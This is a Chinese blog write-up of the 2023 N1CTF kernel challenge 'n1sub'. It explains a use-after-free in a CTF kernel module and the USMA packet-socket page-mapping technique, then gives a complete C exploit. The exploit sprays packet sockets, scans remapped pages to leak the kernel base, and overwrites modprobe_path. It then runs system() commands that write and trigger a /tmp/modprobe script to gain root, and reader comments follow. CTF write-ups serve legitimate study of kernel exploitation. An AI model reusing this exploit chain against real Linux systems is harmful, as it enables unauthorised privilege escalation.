从2023 N1CTF Pwn n1sub来看USMA攻击手法

拿了个三血,芜湖起飞

希望以后的kernel题提供wget上传功能,减少通过shell传static exp的痛苦

漏洞分析

内核版本

version 6.1.58 (chuj@pwn-host.nixos)

SLAB_FREELIST_RANDOM 未开启

SLAB_FREELIST_HARDENED 未开启

CONFIG_MEMCG 未开启

模块分析

  

sub_size和sub_offset由随机数生成,0x68<sub_size<0x818,0x50<sub_offset<sub_size

kmalloc根据sub_size生成,参数是GFP_KERNEL|GFP_ACCOUNT,可以申请两个,kfree存在UAF

edit为将对应slab的sub_offset偏移处的u32值-1,没有show功能

漏洞利用

前置分析

new功能创建的slab大小随机,并且edit功能是对随机偏移处的值进行更改

那么除非对于sub_size进行爆破,否则传统的对于指定大小的slab进行攻击的手段肯定是不适用的

但是对于io_uring以及USMA这种可以产生不定长度的指针数组slab的方法则非常契合

并且由于edit功能为每次对sub_offset偏移处值-1,也恰好契合了指针数组的使用

但是由于IORING_MAX_REG_BUFFERS(1<<14)的限制,io_uring的指针数组只能包含kmalloc-256以下,参考:https://kagehutatsu.com/?p=932

因此最后采用USMA来进行进一步利用

USMA扫描

前置知识:https://vul.360.net/archives/391

使用USMA存在的最大问题是,其无法映射属于buddy system的页

常规的喷射可利用的slab来进行泄漏与劫持的方法无法使用,因为这些内存页都存在PG_buddy标记,无法通过检查

并且由于edit功能只能减而不能加,我们无法访问到地址高于direct map的virtual memory,也就是mmap映射区

也就说无法通过mmap一个只读文件再去映射来实现读写

内存映射

这时我们需要找到一个内存页,其既可以满足USMA的映射条件,又有足够的影响力可以劫持程序流或者泄漏

因此我memset清空了每一个映射出来的内存页,想通过backtrace来定位一些特殊的页面

但是突然发现edit功能抛出了错误,原因是储存在模块bss段上的指针被清空了,包括free标记以及sub_size和sub_offset

但是显然我们的扫描是不可能到达0xffffffffc0000000地址以上的,因此可以猜测存在某个页面,其同样映射了内核模块的bss段的物理地址

经过详细调试成功定位到了这个页面,两个内存页面映射同一片物理地址区域,并且该页面满足USMA映射条件

这块内存也存在固定偏移的基于kernel_base的指针,因此可以实现模块基地址和内核基地址的泄漏

最终通过控制模块bss段上的指针,加上edit功能实现的简单读写,修改modprobe_path来实现提权

杂项

USMA的分配过程中存在一些kmalloc-1k的噪音,在sub_size>0x400以及sub_size<0x800需要释放两个slab来缓存噪音

在USMA分配pg_vec之前,分配大量kmalloc-4k页来填满free_page,让pg_vec从buddy system中申请新的内存页,可以使扫描更加稳定

USMA在mmap之后的内存映射可以通过munmap切断,再次修改pg_vec数组后再次mmap可以映射新的内存页,因此实现了内存页扫描

由于未开启CONFIG_MEMCG,GFP_KERNEL和GFP_ACCOUNT之间没有隔离,并且没有开启SLAB_FREELIST_RANDOM保护,UAF命中率还挺高

EXP:

#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h> #include <linux/fs.h> #include <linux/fuse.h> #include <linux/sched.h> #include <linux/if_ether.h> #include <linux/userfaultfd.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <net/ethernet.h> #include <linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter/nf_tables.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nfnetlink_queue.h> #include <sys/shm.h> #include <sys/msg.h> #include <sys/ipc.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/syscall.h> #define PAGE_SIZE 0x1000 #define N_SPRAY_PACKET_SOCK 0x200 #define N_SPARY_PACKET_SOCK_HOLE 0x10 #define N_SPRAY_FENSHUI_PACKET_SOCK (N_SPRAY_PACKET_SOCK / 2) int dev_fd; uint32_t sub_size, sub_offset; void unshare_setup() { int temp_fd; uid_t uid = getuid(); gid_t gid = getgid(); char buffer[0x100]; if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET)) { perror("unshare(CLONE_NEWUSER | CLONE_NEWNS)"); exit(1); } temp_fd = open("/proc/self/setgroups", O_WRONLY); write(temp_fd, "deny", strlen("deny")); close(temp_fd); temp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(buffer, sizeof(buffer), "0 %d 1", uid); write(temp_fd, buffer, strlen(buffer)); close(temp_fd); temp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(buffer, sizeof(buffer), "0 %d 1", gid); write(temp_fd, buffer, strlen(buffer)); close(temp_fd); return; } int create_socket_and_alloc_pages(unsigned int size, unsigned int nr) { struct tpacket_req req; int socket_fd, version; int ret; socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); if (socket_fd < 0) { printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n"); ret = socket_fd; goto err_out; } version = TPACKET_V1; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)); if (ret < 0) { printf("[x] failed at setsockopt(PACKET_VERSION)\n"); goto err_setsockopt; } memset(&req, 0, sizeof(req)); req.tp_block_size = size; req.tp_block_nr = nr; req.tp_frame_size = 0x1000; req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)); if (ret < 0) { printf("[x] failed at setsockopt(PACKET_TX_RING)\n"); goto err_setsockopt; } return socket_fd; err_setsockopt: close(socket_fd); err_out: return ret; } int packet_socket_setup(uint32_t block_size, uint32_t frame_size, uint32_t block_nr, uint32_t sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) { perror("[-] socket (AF_PACKET)"); exit(1); } int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) { perror("[-] setsockopt (PACKET_VERSION)"); exit(1); } struct tpacket_req3 req3; memset(&req3, 0, sizeof(req3)); req3.tp_sizeof_priv = sizeof_priv; req3.tp_block_nr = block_nr; req3.tp_block_size = block_size; req3.tp_frame_size = frame_size; req3.tp_frame_nr = (block_size * block_nr) / frame_size; req3.tp_retire_blk_tov = timeout; req3.tp_feature_req_word = 0; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3)); if (rv < 0) { perror("[-] setsockopt (PACKET_RX_RING)"); exit(1); } struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_halen = 0; sa.sll_pkttype = 0; sa.sll_halen = 0; rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) { perror("[-] bind (AF_PACKET)"); exit(1); } return s; } void new() { sub_size = ioctl(dev_fd, 0xDEADBEE0, &sub_offset); } uint32_t delete(uint64_t idx) { return ioctl(dev_fd, 0xDEADBEE1, idx); } uint32_t edit(uint64_t idx) { return ioctl(dev_fd, 0xDEADBEE2, idx); } int main() { unshare_setup(); dev_fd = open("/dev/n1sub",O_RDWR); int socket_list[0x100]; for (int i = 0; i < 0x80; i++) socket_list[i] = create_socket_and_alloc_pages(PAGE_SIZE, 1); new(); printf("[+] sub_size = 0x%lx\n", sub_size); printf("[+] sub_offset = 0x%lx\n", sub_offset); int block_nr = sub_size / 0x8; if (sub_size > 0x400 && sub_size < 0x800) { new(); delete(0); delete(1); } else { delete(0); } int packet_fds = packet_socket_setup(PAGE_SIZE, 0x800, block_nr, 0, 1000); puts("[.] Searching for module page"); uint64_t *evil_block; for (int k = 0; ; k++) { for (uint64_t i = 0; i < PAGE_SIZE; i++) edit(0); char *page = mmap(NULL, PAGE_SIZE * block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds, 0); if ((uint64_t)page == -1) continue; evil_block = (void *)((sub_offset / 0x8) * PAGE_SIZE + page); if (evil_block[0x3] == 0x0000000000627573) { puts("[+] Got module page vmmap"); break; } munmap(page, PAGE_SIZE * block_nr); if (k > 0x200) { puts("[X] Search for module page Failure"); exit(-1); } } uint64_t kernel_base = evil_block[0xF] - 0x1851720; uint64_t modprobe_path = kernel_base + 0x1852420; printf("[+] kernel_base = 0x%lx\n", kernel_base); printf("[+] modprobe_path = 0x%lx\n", modprobe_path); uint32_t difference[] = {0, 0xFF, 0xF4, 0xF8, 0x3E}; for (int i = 1; i <= 0x5; i++) { evil_block[0x6E] = modprobe_path - sub_offset + i; for (uint32_t j = 0; j < difference[i]; j++) edit(0); } system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/modprobe"); system("chmod +x /tmp/modprobe"); system("chmod +x /tmp/dummy"); system("/tmp/dummy"); }

附件下载

评论

  1. XiaozaYa
    6 月前
    2023-10-24 16:17:05

    tql,佬。当时看到这两个随机数,我就一面懵逼了

  2. XiaozaYa
    6 月前
    2023-10-24 22:22:13

    佬,我晚上调试了一下,有个疑问,那两个页面,我看一个是在直接映射区,另一个在内核代码映射区,我觉得是直接映射区映射了整个物理内存导致的(我调试没调出来)。所以这是怎么获取的直接映射区的虚拟内存页的呢?难道它是 slab 对象么?我在调试的时候也没有找到该页面。但是直接打成功率确实很高

    • 博主
      XiaozaYa
      6 月前
      2023-10-26 19:17:21

      你说的是那两个映射同一片物理内存的两个页吗,相同映射是我通过调试找出来的,具体的映射实现应该在Linux内核模块加载的源码那边。定位这两个内存页的话可以通过开头的字节找,会保存模块的名称”sub”,不断的扫描映射的页面就行了。

  3. loser
    5 月前
    2023-11-28 16:49:18

    pt_regs数组是啥,是pg_vec 数组吗

    • 博主
      loser
      5 月前
      2023-11-29 17:20:34

      感谢指正,已修改

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇